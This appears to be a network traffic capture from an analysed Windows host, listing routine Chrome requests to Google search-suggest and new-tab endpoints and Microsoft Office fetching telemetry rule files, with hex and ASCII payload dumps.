2024-11-21 21:04:36 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 21:04:36 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:36 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-T7yeuaGCSzdkBjFmXxiXeg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 21:04:36 UTC	124	IN	Data Raw: 33 30 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 65 6e 64 72 61 20 6d 63 64 61 6e 69 65 6c 20 6f 62 69 74 75 61 72 79 22 2c 22 64 61 76 69 73 20 63 75 70 20 74 65 6e 6e 69 73 22 2c 22 68 79 75 6e 64 61 69 20 69 6f 6e 69 71 20 39 20 65 6c 65 63 74 72 69 63 20 73 75 76 22 2c 22 67 61 6d 65 20 61 77 61 72 64 73 20 6e 6f 6d 69 6e 65 65 73 22 2c 22 6e 79 74 20 63 72 6f 73 Data Ascii: 301)]}'["",["kendra mcdaniel obituary","davis cup tennis","hyundai ioniq 9 electric suv","game awards nominees","nyt cros
2024-11-21 21:04:36 UTC	652	IN	Data Raw: 73 77 6f 72 64 20 63 6c 75 65 73 22 2c 22 77 65 61 74 68 65 72 20 74 6f 72 6e 61 64 6f 20 77 61 72 6e 69 6e 67 22 2c 22 62 69 67 20 6c 6f 74 73 20 63 6c 6f 73 69 6e 67 20 73 74 6f 72 65 73 22 2c 22 61 69 6d c3 a9 20 6c 65 6f 6e 20 64 6f 72 65 20 70 6f 72 73 63 68 65 20 39 39 33 20 74 75 72 62 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 Data Ascii: sword clues","weather tornado warning","big lots closing stores","aim leon dore porsche 993 turbo"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugge
2024-11-21 21:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49747	142.250.181.100	443	6804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49749	142.250.181.100	443	6804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 21:04:36 UTC	1018	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 21:04:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 21:04:36 UTC	372	IN	Data Raw: 31 66 63 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1fc6)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700338,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-21 21:04:36 UTC	820	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-21 21:04:36 UTC	413	IN	Data Raw: 31 39 36 0d 0a 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c Data Ascii: 196;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 Data Ascii: 8000));return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a
2024-11-21 21:04:36 UTC	1390	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 Data Ascii: getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.ge

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49748	142.250.181.100	443	6804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 21:04:36 UTC	933	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 21:04:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 21:04:36 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-21 21:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c2180679-501e-008f-16bc-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210436Z-178bfbc474btrnf9hC1NYCb80g000000023000000000urqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:36 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210436Z-178bfbc474brk967hC1NYCfu6000000001qg000000010pcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R 